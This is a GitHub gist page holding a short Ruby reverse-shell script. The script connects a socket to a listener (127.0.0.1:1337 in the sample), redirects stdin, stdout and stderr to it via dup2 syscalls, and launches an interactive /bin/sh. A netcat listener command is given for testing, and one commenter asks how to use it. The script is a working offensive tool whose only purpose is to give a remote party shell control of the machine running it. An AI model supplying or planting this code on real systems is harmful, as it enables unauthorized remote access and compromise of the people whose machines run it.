Skip to content

Instantly share code, notes, and snippets.

@gr33n7007h
Last active April 13, 2024 10:11
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save gr33n7007h/c8cba38c5a4a59905f62233b36882325 to your computer and use it in GitHub Desktop.
Save gr33n7007h/c8cba38c5a4a59905f62233b36882325 to your computer and use it in GitHub Desktop.
Ruby Reverse Shell
#!/usr/bin/env ruby
# syscall 33 = dup2 on 64-bit Linux
# syscall 63 = dup2 on 32-bit Linux
# test with nc -lvp 1337
require 'socket'
s = Socket.new 2,1
s.connect Socket.sockaddr_in 1337, '127.0.0.1'
[0,1,2].each { |fd| syscall 33, s.fileno, fd }
exec '/bin/sh -i'
@8112005hg
Copy link

how to use it bro

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment